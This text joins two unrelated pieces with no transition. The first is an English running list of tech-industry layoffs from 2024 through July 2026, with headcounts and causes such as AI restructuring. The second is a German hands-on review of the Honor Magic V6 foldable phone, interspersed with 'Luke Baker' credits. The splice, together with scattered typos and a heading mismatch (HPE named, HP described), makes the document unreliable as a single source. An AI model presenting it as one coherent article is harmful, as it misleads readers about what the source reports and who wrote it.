Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

Notable tech layoffs in 2026

• Monday.com
• Microsoft
• Meta
• Cisco
• Cloudflare
• Oracle
• Atlassian
• Salesforce
• Amazon
• Ericsson

July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

March 11, 2026: Tech layoffs surpass 45,000 in early 2026

A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

 Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

Layoffs in 2025

• Cisco
• Oracle
• Windsurf
• Intel
• Microsoft
• Crowdstrike
• HPE
• Autodesk
• HPE
• CISA
• Workday
• Salesforce
• Meta

Global tech-sector layoffs surpass 244,000 in 2025

Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

October 28, 2025: Amazon to cut 14,000 jobs across company

Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date 

August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

July 2, 2025: Microsoft will cut 9,000 workers

Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

June 17, 2025: Intel looks to factory layoffs to return to profitability

Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

May 7, 2025: CrowdStrike to lay off 5% of staff

CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

Feb. 27, 2025: Autodesk to lay off 9% of workforce

Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

Feb. 27, 2025: HP to lay off 2,000 more

As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

Feb. 21, 2025: CISA lays off 130

Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

Feb. 5, 2025: Workday lays off 1,750

As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

Feb. 4, 2025: Salesforce lays off over 1,000

At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

Jan. 14, 2025: Meta will lay off 5% of workforce

Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

Tech layoffs in 2024

• Equinix
• AMD
• Freshworks
• Cisco
• General Motors
• Intel
• OpenText
• Microsoft
• AWS
• Dell

Nov. 26, 2024: Equinix to cut 3% of staff

Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

Nov. 13, 2024: AMD to cut 4% of workforce

AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

Nov. 7, 2024: Freshworks lays off 660

Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

Sept. 17, 2024: Cisco lays off 6,000

After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

Aug. 20, 2024: General Motors lays off 1,000 software staff

More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

August 1, 2024: Intel removes 15,000 roles

Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

July 4, 2024: OpenText to lay off 1,200

OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

June 4, 2024: Microsoft lays off staff in Azure division

Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

April 1, 2024: Dell acknowledges 13,000 job cuts

Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

See news of earlier layoffs.

Luke Baker

Auf einen Blick

Pro

• Wunderschönes, schlankes Design
• Große, helle Displays
• Hervorragende Kameras
• Coole Software-Funktionen

Kontra

• Hoher Preis
• MagicOS kann gelegentlich frustrierend sein

Fazit

Das Honor Magic V6 ist ein Falt-Smartphone, das einfach alles kann. Es ist schlank, robust, leistungsstark und sieht gut aus. Die Kameras gehören zu den besten, die Software bietet einige raffinierte Funktionen und die Akkulaufzeit ist außergewöhnlich. Besitzer eines Magic V5 werden wahrscheinlich kaum einen Grund für ein Upgrade sehen, aber für alle anderen ist es eine gute Wahl – sofern Sie es sich leisten können.

Das Honor Magic V6 wurde ursprünglich bereits im März in China vorgestellt, doch es dauerte eine Weile, bis es den Weg nach Europa fand. Nun ist es endlich in Europa erhältlich und strebt den Titel des bislang besten Falt-Smartphones an.

Leider ist die Konkurrenz für Honor stärker denn je, und sie wird noch härter werden, sobald Apples seit Langem gemunkeltes Foldable auf den Markt kommt. Bietet dieses schlanke Kraftpaket genug, um weiterhin überzeugend zu bleiben?

Es sieht auf jeden Fall vielversprechend aus, verfügt über einen der größten Akkus aller jemals erschienenen Falt-Smartphones, ist das erste mit IP69-Zertifizierung und gehört dennoch zu den dünnsten Modellen. Das ist schon mal ein guter Anfang. Ich habe es in den vergangenen Wochen auf Herz und Nieren geprüft, und hier ist mein Fazit.

Design & Verarbeitung

• Aluminiumrahmen, Rückseite aus Verbundfasermaterial
• 219 g, NanoCrystal Shield-Glas
• IP69-zertifiziert

Das Honor Magic V6 sieht dem Magic V5 sehr ähnlich, wobei der auffälligste Unterschied in der Form des Kamerarahmens liegt. Dieser ist nun kantiger und weist eine achteckige Form auf. Auch neue Farbvarianten tragen dazu bei, es von der Vorgängergeneration abzugrenzen.

Luke Baker

Die rote Version ist wahrscheinlich die auffälligste; sie verfügt über eine tiefrote, fast blutrote Rückseite mit strukturierter Oberfläche. Ich besitze die goldene Version, die ebenfalls sehr auffällig ist. Freunde haben bemerkt, dass es wie ein Smartphone aussieht, das ein saudischer Prinz oder Kim Kardashian benutzen würde.

Die Farbe schimmert leicht, wenn Licht darauf fällt; sowohl am Scharnier als auch auf der Rückseite ist ein dezentes, sich wiederholendes Dreiecksmuster zu erkennen, und es bleibt irgendwie frei von Fingerabdrücken, obwohl es ziemlich glänzend ist. Das sieht wirklich cool aus. Auch die mitgelieferte Hülle ist von höchster Qualität, mit einem cremefarbenen Kunstlederbezug und einem roségoldenen Kamerarahmen, der gleichzeitig als ausklappbarer Ständer dient.

Wenn Sie etwas suchen, das etwas weniger Aufmerksamkeit auf sich zieht, gibt es natürlich auch traditionellere Modelle in Schwarz und Weiß. Letzteres hat zudem einen versteckten Vorteil: Mit nur 8,75 Millimetern im geschlossenen Zustand ist es das dünnste Modell der Reihe, und Honor geht davon aus, dass es derzeit das dünnste Falt-Smartphone auf dem Markt ist.

Ich habe das weiße Modell nicht ausprobiert, und vielleicht ist es tatsächlich spürbar schlanker, aber meiner Meinung nach sieht die goldene Version definitiv etwas dicker aus und fühlt sich auch so wie mein 8,9 Millimeter dickes Galaxy Z Fold 7 an.

Das ist allerdings Haarspalterei, denn dieses Smartphone ist immer noch dünner als viele Flaggschiff-Smartphones im Barrenformat. Ob es nun das dünnste ist oder nicht – es ist auf jeden Fall dünn genug, um sich in der Hosentasche angenehm anzufühlen.

Luke Baker

Erwähnenswert ist auch, dass das Cover-Display nun flach ist und eine symmetrischere Form aufweist. Dadurch sieht das Smartphone im zusammengeklappten Zustand noch mehr wie ein herkömmliches Barren-Handy aus, doch die unvermeidliche, eckige Kante am Scharnier verrät es ein wenig.

So wichtig die Abmessungen eines Klapphandys auch sind, ebenso entscheidend ist die Robustheit. Und glücklicherweise ist das Honor Magic V6 robust wie ein Panzer gebaut.

Es verfügt über die Schutzklasse IP69 – die höchste aller faltbaren Smartphones. Das bedeutet, dass es praktisch staubdicht ist und sowohl das Eintauchen in Süßwasser als auch den Strahl von heißem Wasser problemlos aushält. Die Technologie der faltbaren Smartphones hat große Fortschritte gemacht.

Es ist zudem besonders robust konstruiert, mit kratzfestem „NanoCrystal Shield“-Glas auf der Vorderseite und einem „Super Steel“-Scharnier, das die Stoßfestigkeit verbessert.

SGS-Zertifizierungen untermauern diese Angaben ebenfalls, da das Smartphone für seine Fallfestigkeit mit 5 Sternen ausgezeichnet wurde. Ich habe mein Testgerät nicht allzu grob behandelt, aber es ist beruhigend zu wissen, dass es unversehrt bleiben dürfte, sollte mir einmal ein Ausrutscher unterlaufen.

Bildschirm & Lautsprecher

• Außen: 6,52 Zoll, 1.080 x 2.420, OLED, 120 Hertz
• Innen: 7,95 Zoll, 2.172 × 2.352, OLED, 120 Hertz
• Stereolautsprecher

Bei Falt-Smartphones dreht sich alles um den Bildschirm. Beginnen wir also mit dem Star der Show: dem inneren Display. Mit einer Diagonale von knapp unter 8 Zoll gehört es zu den größten Falt-Smartphones im Buchformat auf dem Markt.

Es ist nahezu perfekt quadratisch, was sich hervorragend für die parallele Nutzung zweier Apps eignet.

Luke Baker

Dieses flexible Display verfügt über eine Bildwiederholfrequenz von 120 Hertz und erreicht eine beeindruckende Spitzenhelligkeit von 5.000 Nits. Solche Helligkeitsangaben sollten Sie zwar stets mit einer gehörigen Portion Skepsis betrachten, doch unabhängig davon handelt es sich um ein sehr helles Display, das auch im Freien gut ablesbar ist.

Der innere Bildschirm ist mit einer glänzenden Schutzfolie versehen (wenn auch mit einer Antireflexbeschichtung), was sowohl Vor- als auch Nachteile mit sich bringt. Wie ich bereits in anderen Testberichten zu Falt-Smartphones erwähnt habe, kaschieren mattierte Schutzfolien die Falz zwar besser, ziehen aber auch Fingerabdrücke an. Diese hier verschmiert nicht so leicht, doch trotz aller Bemühungen von Honor treten entlang der Falz einige unerwünschte Reflexionen auf.

Luke Baker

Apropos: Die Falz ist bewundernswert flach, und noch vor nicht allzu langer Zeit wäre sie die beste gewesen, die mir je begegnet wäre. Allerdings nutze ich das Oppo Find N6 seit seiner Markteinführung fast täglich, und leider kann dieses Modell da nicht ganz mithalten.

Es ist dennoch äußerst beeindruckend und um Längen besser als das Pixel 10 Pro Fold. Auch im Vergleich zum Galaxy Z Fold 7 fällt die Falz etwas weniger auf.

Was das Außendisplay betrifft, so ist es fast nicht von dem Bildschirm eines Flaggschiff-Handys im Barren-Format zu unterscheiden, abgesehen davon, dass es ganz leicht schmaler ist als üblich. Es verfügt über schöne, schmale Einfassungen an allen Seiten, eine flinke Bildwiederholfrequenz von 120 Hertz und eine noch höhere Spitzenhelligkeit von 6.000 Nits.

Wie bereits bei den letzten Generationen der faltbaren Honor-Modelle gibt es keine nennenswerten Nachteile bei der Nutzung des zusammengeklappten Telefons; es fühlt sich einfach wie ein normales Smartphone an. Wenn Sie dann einen größeren Bildschirm für Ihre Inhalte, Spiele oder Multitasking benötigen, klappen Sie es einfach auf.

Luke Baker

Wie üblich hat Honor einiges in Funktionen zum Augenschutz investiert, und beide Bildschirme unterstützen eine PWM-Dimmung mit 4.320 Hertz. Das werden Sie besonders zu schätzen wissen, wenn Sie empfindlich auf Flackern reagieren. Beide Bildschirme unterstützen zudem die Eingabe per Stylus, allerdings hatte ich leider keinen Honor-Stylus zur Hand, um dies auszuprobieren.

Die luxuriösen Displays werden durch ein ordentliches Lautsprecherset ergänzt. Das Stereopaar erzeugt eine schöne, breite Klangbühne, kann mehr als laut genug werden und bietet eine ordentliche Basswiedergabe. Sie können zwar nicht mit den bassbetonten Lautsprechern des Magic 8 Pro mithalten, aber bei einem so schlanken Gehäuse sind die Möglichkeiten nun einmal begrenzt.

Technische Daten & Leistung

• Qualcomm Snapdragon 8 Elite Gen 5
• 16 GB RAM
• 512 GB Speicher

Das Magic V6 verfügt über den leistungsstärksten Chip von Qualcomm, den Snapdragon 8 Elite Gen 5, und das globale Modell ist mit 16 GB RAM und 512 GB Speicher ausgestattet. Bei einem so schlanken Falt-Smartphone stellt die Wärmeableitung stets eine Herausforderung dar, doch Honor hat hier eine großzügig dimensionierte Vapor-Chamber verbaut, um eine optimale Leistung zu gewährleisten.

Luke Baker

Das V6 hat meine täglichen Leistungsanforderungen problemlos erfüllt. Bei einem Falt-Smartphone habe ich oft drei Apps gleichzeitig geöffnet, wechsle zwischen ihnen hin und her und spiele häufig gleichzeitig Musik ab oder streame Videos. Selbst dann kam das Smartphone kaum ins Schwitzen.

Man muss schon ein ziemlich anspruchsvolles Spiel starten, um dieses Smartphone ein wenig ins Schwitzen zu bringen, und wie es der Zufall so will, bin ich ziemlich süchtig nach NTE: Neverness to Everness (ein Open-World-Spiel mit atemberaubender Grafik und einer riesigen Stadtkarte, mit deren Darstellung die meisten Smartphones zu kämpfen haben). Doch das Magic V6 hatte damit kaum Probleme.

Das Spiel lief bei der Grafikvoreinstellung „Extreme“ flüssig mit 60 FPS, und obwohl es sich ziemlich stark erwärmte – insbesondere im Bereich der Kamera –, schien die Leistung darunter nicht zu leiden. Die beste Erfahrung machte ich mit einem GameSir-Clamp-Controller, der die Wärme von meinen Handflächen fernhielt.

Luke Baker

Honor Magic V6 – Benchmark-Ergebnisse

Was die Benchmark-Ergebnisse angeht, wird es recht interessant. Während die meisten Ergebnisse hervorragend waren, hatte das Smartphone erhebliche Schwierigkeiten, den 3DMark Wildlife Extreme Stress Test abzuschließen. Normalerweise führe ich diesen Test bei aufgeklapptem Smartphone durch, doch es überhitzte sich und brach den Benchmark jedes Mal ab, wenn ich es versuchte.

Zugegebenermaßen war es in letzter Zeit recht warm, doch so etwas ist mir bisher noch nie passiert. Bei der Durchführung des Tests auf dem Cover-Display konnte es den Test mit einem ordentlichen Ergebnis abschließen, auf dem klappbaren Bildschirm war dies jedoch nicht möglich. Im alltäglichen Gebrauch hatte ich jedoch nie derartige Probleme.

Kameras

• 50-MP-Hauptkamera mit f/1,6
• 64 MP, f/2,5, 3-fach-Tele
• 50 MP, f/2,2 Ultraweitwinkel
• 20 MP, f/2,2 Selfie-Kamera

Das Honor Magic V6 verfügt über dieselbe Kamera-Hardware wie die Vorgängergeneration, was bedeutet, dass es keine nennenswerten Neuerungen gibt.

Allerdings verfügte das V5 bereits über eine der beeindruckendsten Kameraausstattungen unter allen faltbaren Smartphones, und die Konkurrenz hat sich in dieser Hinsicht nicht sonderlich ins Zeug gelegt – daher gehört es nach wie vor zu den Besten.

Luke Baker

Auf der Rückseite befindet sich eine 50-MP-Hauptkamera mit einem Sensor von ansehnlicher Größe (1/1,56 Zoll) und einem lichtstarken f/1,6-Objektiv. Hinzu kommen eine 50-MP-Ultraweitwinkelkamera mit einem extrem weiten Sichtfeld (entspricht 13 mm) sowie ein ausgezeichnetes 64-MP-Teleobjektiv. Außerdem gibt es zwei 20-MP-Selfie-Kameras, von denen jeweils eine durch das jeweilige Display ragt.

Dies ist eine äußerst vielseitige Objektivausstattung, mit der Sie alles aufnehmen können – von weitläufigen Landschaften bis zu intimen Porträts. Wie üblich hat mir die Verwendung des Teleobjektivs am meisten Spaß gemacht, und dies könnte die beste Tele-Kamera sein, die jemals in einem faltbaren Smartphone verbaut wurde.

Es verfügt über einen recht großen 1/2-Zoll-Sensor und kann aus sehr kurzer Entfernung fokussieren. Ihr Motiv muss sich lediglich etwa 20 Zentimeter vom Objektiv entfernt befinden, und in Kombination mit der Brennweite von 70 mm (äquivalent) entsteht so eine schöne perspektivische Kompression und ein natürliches Bokeh.

Natürlich können Sie mit einem digitalen Ausschnitt noch weiter zoomen, und die Kamera-App ermöglicht Ihnen auf Wunsch eine bis zu 100-fache Vergrößerung. Bei einer Vergrößerung von mehr als 10-fach können Sie generative KI nutzen, um die Bilder zu bereinigen, doch auch ohne diese Funktion erhalten Sie bereits bei etwa 20-facher Vergrößerung brauchbare Bilder.

Ich habe bereits erwähnt, wie weitwinklig das Ultraweitwinkelobjektiv ist, und das gefällt mir besonders gut daran; ansonsten ist es jedoch im Vergleich zu den anderen Objektiven definitiv ein Qualitätsverlust.

Nachts ist es zudem am wenigsten überzeugend, da Bewegungsunschärfe dort nur schwer zu bewältigen ist. Bei den richtigen Lichtverhältnissen ist es jedoch zu wirklich beeindruckenden Aufnahmen fähig.

Luke Baker

Die Hauptkamera ist wie immer die zuverlässigste des Trios. Dank des größeren Sensors schneidet sie bei schlechten Lichtverhältnissen am besten ab und liefert tagsüber etwas schärfere Bilder als die anderen Kameras.

Die Selfie-Kameras sind nichts Besonderes. Sie erfüllen ihren Zweck und eignen sich für Zoom-Anrufe, doch wenn man auf der Rückseite so beeindruckende Kameras hat, lohnt es sich wirklich, das Smartphone umzudrehen und den Bildschirm auf der Rückseite zu nutzen, um wirklich beeindruckende Fotos zu machen.

Die Bildverarbeitung von Honor kann etwas unbeständig sein, aber ich habe den Eindruck, dass sie immer konsistenter wird, und wenn sie funktioniert, lassen sich wirklich atemberaubende Bilder erzielen.

Mein größter Kritikpunkt ist die Bewegungsunschärfe im Porträtmodus. Ich bin mir nicht sicher, woran es liegt, aber ich erhalte viele unscharfe Aufnahmen, wenn die künstliche Hintergrundunschärfe aktiviert ist – selbst bei guten Lichtverhältnissen.

Ansonsten bin ich mit den Bildern, die ich mit dem Magic V6 aufgenommen habe, sehr zufrieden. Die Harcourt-Porträtmodi sind so beeindruckend wie eh und je, und mit den übrigen Filtern lässt sich der Look Ihrer Fotos ziemlich drastisch verändern. Besonders gut gefällt mir der Filter „Nostalgic Negative“, der einen schönen, kontrastreichen Cross-Entwicklungs-Look mit blauen Schatten erzeugt.

Was die Videoaufnahmen angeht, ist das Angebot etwas weniger umfangreich. Das soll nicht heißen, dass es schlecht ist, aber nachdem ich viel Zeit mit dem Oppo Find N6 verbracht habe, habe ich mich an ein ordentliches Log-Profil, 4K-120-Aufnahmen und Dolby Vision gewöhnt. Nichts davon ist hier vorhanden. Es gibt zwar ein Log-Profil, dieses funktioniert jedoch nur mit dem Hauptsensor und erzeugt ungewöhnlich körnige Schatten.

Wenn Sie jedoch keine ganz so professionellen Ansprüche haben, werden Sie mit der Videoleistung wahrscheinlich sehr zufrieden sein. Sie können mit jeder Kamera bis zu 4K bei 60 FPS aufnehmen, mit Ausnahme der Selfie-Kamera, die maximal 4K bei 30 FPS erreicht. Die Bildstabilisierung ist gut, und auch die Mikrofone sind ordentlich.

Akkulaufzeit & Aufladen

• 6.660-mAh-Akku
• 80-Watt-Laden über Kabel
• 66 Watt kabelloses Laden

Das Honor Magic V6 verfügt über den größten Akku aller faltbaren Smartphones, die ich bisher getestet habe. Irgendwie ist es Honor gelungen, einen 6660-mAh-Akku in dieses hauchdünne Gehäuse zu integrieren. Samsun wird hoffentlich davon lernen.

Diese Kapazität verblasst zwar im Vergleich zur chinesischen 1-TB-Version dieses Smartphones, die über einen erstaunlichen 7.150-mAh-Akku verfügt, doch wie wir in letzter Zeit oft gesehen haben, bedeuten die EU-Vorschriften, dass wir im Westen keinen ganz so massiven Akku erhalten können.

Luke Baker

Das spielt jedoch keine allzu große Rolle, denn dieser Akku ist mehr als gut genug. Obwohl ich den großen internen Bildschirm häufig nutzte und unzählige Fotos machte, reichte die Akkulaufzeit dieses Smartphones während des Großteils meiner Tests für eineinhalb Tage. Natürlich verkürzt intensives Gaming die Laufzeit etwas, aber Sie werden das Gerät selten, wenn überhaupt, vor dem Schlafengehen aufladen müssen.

Auch das Aufladen erfolgt schnell, vorausgesetzt, Sie verfügen über ein ausreichend leistungsstarkes Netzteil (im Lieferumfang ist lediglich ein USB-C-Kabel enthalten), um die 80-Watt-Geschwindigkeit nutzen zu können. Ich konnte das Gerät in nur einer halben Stunde von leer auf fast 70 Prozent aufladen; mehr kann man sich kaum wünschen.

Wenn Sie kabelloses Laden bevorzugen, ist dies ohne nennenswerte Einbußen bei der Geschwindigkeit möglich. Das Honor Magic V6 lässt sich mit einem offiziellen kabellosen Ladepad von Honor mit bis zu 66 Watt aufladen.

Software & Apps

• MagicOS 10, basierend auf Android 16
• Zahlreiche KI-Funktionen
• Kompatibilität mit dem Apple-Ökosystem

Auf dem Magic V6 läuft MagicOS 10, Honors eigene Variante von Android 16. Es handelt sich im Wesentlichen um dieselbe Software, die wir bereits von den letzten Honor-Flaggschiffmodellen kennen. Wenn Sie also bereits eines dieser Modelle ausprobiert haben, werden Sie kaum Überraschungen erleben.

Luke Baker

Die Software von Honor kann die Meinungen spalten. Sie weicht ziemlich stark vom typischen Android-Erlebnis ab; stattdessen erinnert sie zunehmend an iOS. Ob das nun gut ist oder nicht, hängt ganz von Ihren Vorlieben ab.

Allerdings lässt sich die Benutzeroberfläche extrem gut anpassen – wenn Ihnen also das Design oder das Layout einer Funktion nicht gefällt, können Sie es höchstwahrscheinlich ändern.

Insgesamt gefällt sie mir recht gut. Sie wirkt schnell und reaktionsfreudig, sieht standardmäßig ansprechend aus und bietet zahlreiche Werkzeuge zur weiteren Anpassung. Wie bereits erwähnt, gibt es zahlreiche Anlehnungen an iOS, darunter einige „Liquid Glass“-ähnliche Elemente, einen „Dynamic Island“-Klon, geteilte Benachrichtigungen/Schnelleinstellungen sowie die Möglichkeit, die App-Übersicht zu deaktivieren.

Das sind zwar nicht die originellsten Entscheidungen, aber sie funktionieren gut, und die meisten sind vollkommen optional.

Honor bietet Ihnen eine Vielzahl von KI-Funktionen, darunter die üblichen Tools für Transkription, Übersetzung und Zusammenfassung sowie einige sehr fortschrittliche Funktionen zur Fotobearbeitung.

Luke Baker

Auch das Multitasking ist hervorragend. Sie können Apps im Split-View nebeneinander anzeigen und dann eine dritte hinzufügen, die nur am Rand des Bildschirms hervorblitzt und bei Bedarf sofort einsatzbereit ist. Oder, wenn Sie es vorziehen, können Sie schwebende Fenster nutzen und so noch mehr Inhalte gleichzeitig auf dem Bildschirm anzeigen.

Am spannendsten finde ich jedoch die Art und Weise, wie sich das Magic V6 in Apple-Produkte integrieren lässt. Insbesondere, wie gut es mit meinem Macbook zusammenarbeitet. Wenn Sie die Honor Workstation-App aus dem Mac App Store installieren, können Sie Dateien austauschen, zwischen Geräten kopieren und einfügen, Ihr Smartphone fernsteuern und das V6 sogar als drahtlosen zweiten Bildschirm nutzen.

Luke Baker

Doch damit ist der Spaß noch lange nicht vorbei. Das Honor Magic V6 kann auch nativ Dateien in Ihrem iCloud-Konto durchsuchen und verwalten, und mit Honor Connect können Sie Dateien auch per AirDrop zu und von iPhones übertragen. Das ist großartig, wenn Sie ständig zwischen verschiedenen Ökosystemen hin- und herwechseln (wie ich es oft tue).

Insgesamt ist es also ein solides Software-Erlebnis, das jedoch nicht ganz ohne Nachteile ist. Meine größte Kritik an Honor-Smartphones ist seit einigen Jahren unberücksichtigt geblieben. Das Akkumanagement ist extrem aggressiv und beendet standardmäßig Hintergrund-Apps mit rücksichtsloser Härte.

Das bedeutet, dass Sie häufig unter stark verzögerten Benachrichtigungen leiden, bis Sie einige Einstellungen anpassen und sicherstellen, dass diese Apps geöffnet bleiben.

Luke Baker

